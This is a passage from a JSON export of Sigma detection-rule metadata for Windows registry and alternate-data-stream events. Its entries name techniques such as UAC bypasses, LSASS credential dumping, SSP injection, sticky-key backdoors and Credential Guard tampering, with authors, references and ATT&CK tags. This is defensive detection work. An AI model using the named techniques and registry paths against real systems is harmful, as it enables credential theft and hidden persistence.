"create_stream_hash_hacktool_download.yml", "level": "high", "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_hacktool_download.yml" ], "tags": [ "attack.defense_evasion", "attack.s0139", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "19b041f6-e583-40dc-b842-d6fa8011493f", "value": "Hacktool Download" }, { "description": "Detects the creation of an ADS data stream that contains an executable (non-empty imphash)", "meta": { "author": "Florian Roth, @0xrawsec", "creation_date": "2018/06/03", "falsepositive": [ "Unknown" ], "filename": "create_stream_hash_ads_executable.yml", "level": "medium", "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ "https://twitter.com/0xrawsec/status/1002478725605273600?s=21", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_ads_executable.yml" ], "tags": [ "attack.defense_evasion", "attack.s0139", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b69888d4-380c-45ce-9cf9-d9ce46e67821", "value": "Executable in ADS" }, { "description": "Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started", "meta": { "author": "omkar72", "creation_date": "2020/10/25", "falsepositive": [ "Unlikely" ], "filename": "registry_event_office_test_regadd.yml", "level": "medium", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://unit42.paloaltonetworks.com/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_test_regadd.yml" ], "tags": [ "attack.persistence", "attack.t1137.002" ] }, "related": [ { "dest-uuid": "ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3d27f6dd-1c74-4687-b4fa-ca849d128d1c", "value": "Office Application Startup - Office Test" }, { "description": "Detects actions caused by the RedMimicry Winnti playbook", "meta": { "author": "Alexander Rausch", "creation_date": "2020/06/24", "falsepositive": [ "Unknown" ], "filename": "registry_event_redmimicry_winnti_reg.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://redmimicry.com", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_redmimicry_winnti_reg.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "5b175490-b652-4b02-b1de-5b5b4083c5f8", "value": "RedMimicry Winnti Playbook Registry Manipulation" }, { "description": "Detects Processes accessing the camera and microphone from suspicious folder", "meta": { "author": "Den Iuzvyk", "creation_date": "2020/06/07", "falsepositive": [ "Unlikely, there could be conferencing software running from a Temp folder accessing the devices" ], "filename": "registry_event_susp_mic_cam_access.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_mic_cam_access.yml" ], "tags": [ "attack.collection", "attack.t1125", "attack.t1123" ] }, "uuid": "62120148-6b7a-42be-8b91-271c04e281a3", "value": "Suspicious Camera and Microphone Access" }, { "description": "Detects the modification of PortProxy registry key which is used for port forwarding. For command execution see rule win_netsh_port_fwd.yml.", "meta": { "author": "Andreas Hunkeler (@Karneades)", "creation_date": "2021/06/22", "falsepositive": [ "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)", "Synergy Software KVM (https://symless.com/synergy)" ], "filename": "registry_event_portproxy_registry_key.yml", "level": "medium", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://www.dfirnotes.net/portproxy_detection/", "https://adepts.of0x.cc/netsh-portproxy-code/", "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_portproxy_registry_key.yml" ], "tags": [ "attack.lateral_movement", "attack.defense_evasion", "attack.command_and_control", "attack.t1090" ] }, "related": [ { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a54f842a-3713-4b45-8c84-5f136fdebd3c", "value": "PortProxy Registry Key" }, { "description": "Detects persistence registry keys for Recycle Bin", "meta": { "author": "frack113", "creation_date": "2021/11/18", "falsepositive": [ "Unknown" ], "filename": "registry_event_persistence_recycle_bin.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://github.com/vxunderground/VXUG-Papers/blob/751edb8d50f95bd7baa730adf2c6c3bb1b034276/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf", "https://persistence-info.github.io/Data/recyclebin.html", "https://www.hexacorn.com/blog/2018/05/28/beyond-good-ol-run-key-part-78-2/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_persistence_recycle_bin.yml" ], "tags": [ "attack.persistence", "attack.t1547" ] }, "uuid": "277efb8f-60be-4f10-b4d3-037802f37167", "value": "Registry Persistence Mechanisms in Recycle Bin" }, { "description": "Detects a method to load DLL via LSASS process using an undocumented Registry key", "meta": { "author": "Florian Roth", "creation_date": "2019/10/16", "falsepositive": [ "Unknown" ], "filename": "registry_event_susp_lsass_dll_load.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1183745981189427200", "https://blog.xpnsec.com/exploring-mimikatz-part-1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_lsass_dll_load.yml" ], "tags": [ "attack.execution", "attack.persistence", "attack.t1547.008" ] }, "related": [ { "dest-uuid": "f0589bc3-a6ae-425a-a3d5-5659bfee07f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b3503044-60ce-4bf4-bbcb-e3db98788823", "value": "DLL Load via LSASS" }, { "description": "Detects value modification of registry key containing path to binary used as screensaver.", "meta": { "author": "Bartlomiej Czyz @bczyz1, oscd.community", "creation_date": "2020/10/11", "falsepositive": [ "Legitimate modification of screensaver" ], "filename": "registry_event_modify_screensaver_binary_path.yml", "level": "medium", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_modify_screensaver_binary_path.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1546.002" ] }, "related": [ { "dest-uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "67a6c006-3fbe-46a7-9074-2ba3b82c3000", "value": "Path To Screensaver Binary Modified" }, { "description": "Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527", "meta": { "author": "Markus Neis, @markus_neis, Florian Roth", "creation_date": "2021/07/04", "falsepositive": [ "Legitimate installation of printer driver QMS 810, Texas Instruments microLaser printer (unlikely)" ], "filename": "registry_event_mimikatz_printernightmare.yml", "level": "critical", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://www.lexjansen.com/sesug/1993/SESUG93035.pdf", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913", "https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mimikatz_printernightmare.yml" ], "tags": [ "attack.execution", "attack.t1204", "cve.2021.1675", "cve.2021.34527" ] }, "related": [ { "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ba6b9e43-1d45-4d3c-a504-1043a64c8469", "value": "PrinterNightmare Mimimkatz Driver Name" }, { "description": "Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories", "meta": { "author": "Florian Roth", "creation_date": "2019/10/01", "falsepositive": [ "Software installers downloaded and used by users" ], "filename": "registry_event_susp_download_run_key.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/c5bef5b7-f484-4c43-9cf3-d5c5c7839def/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_download_run_key.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "9c5037d1-c568-49b3-88c7-9846a5bdc2be", "value": "Suspicious Run Key from Download" }, { "description": "Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup", "meta": { "author": "Avneet Singh @v3t0_, oscd.community", "creation_date": "2020/11/15", "falsepositive": [ "Legitimate modification of the registry key by legitimate program" ], "filename": "registry_event_runonce_persistence.yml", "level": "medium", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://twitter.com/pabraeken/status/990717080805789697", "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "c74d7efc-8826-45d9-b8bb-f04fac9e4eff", "value": "Run Once Task Configuration in Registry" }, { "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation\nby causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n", "meta": { "author": "Ilyas Ochkov, oscd.community", "creation_date": "2019/10/25", "falsepositive": [ "Unknown" ], "filename": "registry_event_new_dll_added_to_appcertdlls_registry_key.yml", "level": "medium", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://eqllib.readthedocs.io/en/latest/analytics/14f90406-10a0-4d36-a672-31cabe149f2f.html", "http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appcertdlls_registry_key.yml" ], "tags": [ "attack.persistence", "attack.t1546.009" ] }, "related": [ { "dest-uuid": "7d57b371-10c2-45e5-b3cc-83a8fb380e4c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6aa1d992-5925-4e9f-a49b-845e51d1de01", "value": "New DLL Added to AppCertDlls Registry Key" }, { "description": "Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.", "meta": { "author": "Ilyas Ochkov, oscd.community", "creation_date": "2019/10/25", "falsepositive": [ "Unknown" ], "filename": "registry_event_disable_security_events_logging_adding_reg_key_minint.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://twitter.com/0gtweet/status/1182516740955226112", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_security_events_logging_adding_reg_key_minint.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001", "attack.t1112" ] }, "uuid": "919f2ef0-be2d-4a7a-b635-eb2b41fde044", "value": "Disable Security Events Logging Adding Reg Key MiniNt" }, { "description": "Sysmon registry detection of a local hidden user account.", "meta": { "author": "Christian Burkard", "creation_date": "2021/05/03", "falsepositive": [ "Unknown" ], "filename": "registry_event_add_local_hidden_user.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1387530414185664538", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_add_local_hidden_user.yml" ], "tags": [ "attack.persistence", "attack.t1136.001" ] }, "related": [ { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "460479f3-80b7-42da-9c43-2cc1d54dbccd", "value": "Creation of a Local Hidden User Account by Registry" }, { "description": "Detects the use of Windows Credential Editor (WCE)", "meta": { "author": "Florian Roth", "creation_date": "2019/12/31", "falsepositive": [ "Unknown" ], "filename": "registry_event_hack_wce_reg.yml", "level": "critical", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://www.ampliasecurity.com/research/windows-credentials-editor/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hack_wce_reg.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001", "attack.s0005" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a6b33c02-8305-488f-8585-03cb2a7763f2", "value": "Windows Credential Editor Registry" }, { "description": "Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.", "meta": { "author": "iwillkeepwatch", "creation_date": "2019/01/18", "falsepositive": [ "Unlikely" ], "filename": "registry_event_ssp_added_lsa_config.yml", "level": "critical", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_ssp_added_lsa_config.yml" ], "tags": [ "attack.persistence", "attack.t1547.005" ] }, "related": [ { "dest-uuid": "5095a853-299c-4876-abd7-ac0050fb5462", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "eeb30123-9fbd-4ee8-aaa0-2e545bbed6dc", "value": "Security Support Provider (SSP) Added to LSA Configuration" }, { "description": "Detects registry key used by Leviathan APT in Malaysian focused campaign", "meta": { "author": "Aidan Bracher", "creation_date": "2020/07/07", "falsepositive": "No established falsepositives", "filename": "registry_event_apt_leviathan.yml", "level": "critical", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_leviathan.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "70d43542-cd2d-483c-8f30-f16b436fd7db", "value": "Leviathan Registry Key Activity" }, { "description": "Detects registry keys created in OceanLotus (also known as APT32) attacks", "meta": { "author": "megan201296, Jonhnathan Ribeiro", "creation_date": "2019/04/14", "falsepositive": [ "Unknown" ], "filename": "registry_event_apt_oceanlotus_registry.yml", "level": "critical", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://github.com/eset/malware-ioc/tree/master/oceanlotus", "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_oceanlotus_registry.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "4ac5fc44-a601-4c06-955b-309df8c4e9d4", "value": "OceanLotus Registry Activity" }, { "description": "Unfixed method for UAC bypass from windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.", "meta": { "author": "oscd.community, Dmitry Uchakin", "creation_date": "2020/10/07", "falsepositive": [ "Unknown" ], "filename": "registry_event_bypass_via_wsreset.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly", "https://lolbas-project.github.io/lolbas/Binaries/Wsreset", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6ea3bf32-9680-422d-9f50-e90716b12a66", "value": "UAC Bypass Via Wsreset" }, { "description": "Detects NetNTLM downgrade attack", "meta": { "author": "Florian Roth, wagga", "creation_date": "2018/03/20", "falsepositive": [ "Unknown" ], "filename": "registry_event_net_ntlm_downgrade.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_net_ntlm_downgrade.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001", "attack.t1112" ] }, "uuid": "d67572a0-e2ec-45d6-b8db-c100d14b8ef2", "value": "NetNTLM Downgrade Attack - Registry" }, { "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", "meta": { "author": "Florian Roth, @twjackomo, Jonhnathan Ribeiro, oscd.community", "creation_date": "2018/03/15", "falsepositive": [ "Unlikely" ], "filename": "registry_event_stickykey_like_backdoor.yml", "level": "critical", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_stickykey_like_backdoor.yml" ], "tags": [ "attack.privilege_escalation", "attack.persistence", "attack.t1546.008", "car.2014-11-003", "car.2014-11-008" ] }, "uuid": "baca5663-583c-45f9-b5dc-ea96a22ce542", "value": "Sticky Key Like Backdoor Usage - Registry" }, { "description": "DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll", "meta": { "author": "Ilyas Ochkov, oscd.community, Tim Shelton", "creation_date": "2019/10/25", "falsepositive": [ "Unknown" ], "filename": "registry_event_new_dll_added_to_appinit_dlls_registry_key.yml", "level": "medium", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://eqllib.readthedocs.io/en/latest/analytics/822dc4c5-b355-4df8-bd37-29c458997b8f.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appinit_dlls_registry_key.yml" ], "tags": [ "attack.persistence", "attack.t1546.010" ] }, "related": [ { "dest-uuid": "cc89ecbd-3d33-4a41-bcca-001e702d18fd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4f84b697-c9ed-4420-8ab5-e09af5b2345d", "value": "New DLL Added to AppInit_DLLs Registry Key" }, { "description": "Detects abusing Windows 10 Narrator's Feedback-Hub", "meta": { "author": "Dmitriy Lifanov, oscd.community", "creation_date": "2019/10/25", "falsepositive": [ "Unknown" ], "filename": "registry_event_narrator_feedback_persistance.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_narrator_feedback_persistance.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "f663a6d9-9d1b-49b8-b2b1-0637914d199a", "value": "Narrator's Feedback-Hub Persistence" }, { "description": "Detects the presence of a registry key created during Azorult execution", "meta": { "author": "Trent Liffick", "creation_date": "2020/05/08", "falsepositive": [ "Unknown" ], "filename": "registry_event_mal_azorult.yml", "level": "critical", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.win32.azoruit.a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_azorult.yml" ], "tags": [ "attack.execution", "attack.t1112" ] }, "uuid": "f7f9ab88-7557-4a69-b30e-0a8f91b3a0e7", "value": "Registry Entries For Azorult Malware" }, { "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", "meta": { "author": "Nik Seetharaman", "creation_date": "2018/07/16", "falsepositive": [ "Legitimate CMSTP use (unlikely in modern enterprise environments)" ], "filename": "registry_event_cmstp_execution_by_registry.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_cmstp_execution_by_registry.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1218.003", "attack.g0069", "car.2019-04-001" ] }, "related": [ { "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b6d235fc-1d38-4b12-adbe-325f06728f37", "value": "CMSTP Execution Registry Event" }, { "description": "Alerts on trust record modification within the registry, indicating usage of macros", "meta": { "author": "Antonlovesdnb", "creation_date": "2020/02/19", "falsepositive": [ "Alerts on legitimate macro usage as well, will need to filter as appropriate" ], "filename": "registry_event_trust_record_modification.yml", "level": "medium", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html", "https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_trust_record_modification.yml" ], "tags": [ "attack.initial_access", "attack.t1566.001" ] }, "uuid": "295a59c1-7b79-4b47-a930-df12c15fc9c2", "value": "Windows Registry Trust Record Modification" }, { "description": "Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'", "meta": { "author": "Mateusz Wydra, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Creation of non-default, legitimate at usage" ], "filename": "registry_event_susp_atbroker_change.yml", "level": "medium", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218", "attack.persistence", "attack.t1547" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9577edbb-851f-4243-8c91-1d5b50c1a39b", "value": "Atbroker Registry Change" }, { "description": "Detects potential malicious modification of the property value of IsCredGuardEnabled from\nHKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to disable Cred Guard on a system.\nThis is usually used with UseLogonCredential to manipulate the caching credentials.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2019/08/25", "falsepositive": [ "Unknown" ], "filename": "registry_event_disable_wdigest_credential_guard.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://teamhydra.blog/2020/08/25/bypassing-credential-guard/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_wdigest_credential_guard.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "1a2d6c47-75b0-45bd-b133-2c0be75349fd", "value": "Wdigest CredGuard Registry Modification" }, { "description": "Detects potential malicious modification of run keys by winekey or team9 backdoor", "meta": { "author": "omkar72", "creation_date": "2020/10/30", "falsepositive": [ "Unknown" ], "filename": "registry_event_runkey_winekey.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runkey_winekey.yml" ], "tags": [ "attack.persistence", "attack.t1547" ] }, "uuid": "b98968aa-dbc0-4a9c-ac35-108363cbf8d5", "value": "WINEKEY Registry Modification" }, { "description": "Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2021/04/12", "falsepositive": [ "Unknown" ], "filename": "registry_event_hybridconnectionmgr_svc_installation.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hybridconnectionmgr_svc_installation.yml" ], "tags": [ "attack.resource_development", "attack.t1608" ] }, "related": [ { "dest-uuid": "84771bc3-f6a0-403e-b144-01af70e5fda0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ac8866c7-ce44-46fd-8c17-b24acff96ca8", "value": "HybridConnectionManager Service Installation - Registry" }, { "description": "Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\VSS\\\\Diag\\\\VolSnap\\\\Volume are captured.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/10/20", "falsepositive": [ "Unknown" ], "filename": "registry_event_esentutl_volume_shadow_copy_service_keys.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5aad0995-46ab-41bd-a9ff-724f41114971", "value": "Esentutl Volume Shadow Copy Service Keys" }, { "description": "Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "registry_event_shell_open_keys_manipulation.yml", "level": "high", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]", "https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass", "https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/", "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_shell_open_keys_manipulation.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002", "attack.t1546.001" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "152f3630-77c1-4284-bcc0-4cc68ab2f6e7", "value": "Shell Open Registry Keys Manipulation" }, { "description": "Detects FlowCloud malware from threat group TA410.", "meta": { "author": "NVISO", "creation_date": "2020/06/09", "falsepositive": [ "Unknown" ], "filename": "registry_event_mal_flowcloud.yml", "level": "critical", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_flowcloud.yml" ], "tags": [ "attack.persistence", "attack.t1112" ] }, "uuid": "5118765f-6657-4ddb-a487-d7bd673abbf1", "value": "FlowCloud Malware" }, { "description": "Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process", "meta": { "author": "Florian Roth", "creation_date": "2021/02/26", "falsepositive": [ "Unlikely" ], "filename": "registry_event_silentprocessexit_lsass.yml", "level": "critical", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_silentprocessexit_lsass.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "55e29995-75e7-451a-bef0-6225e2f13597", "value": "Potential Credential Dumping Via LSASS SilentProcessExit Technique" }, 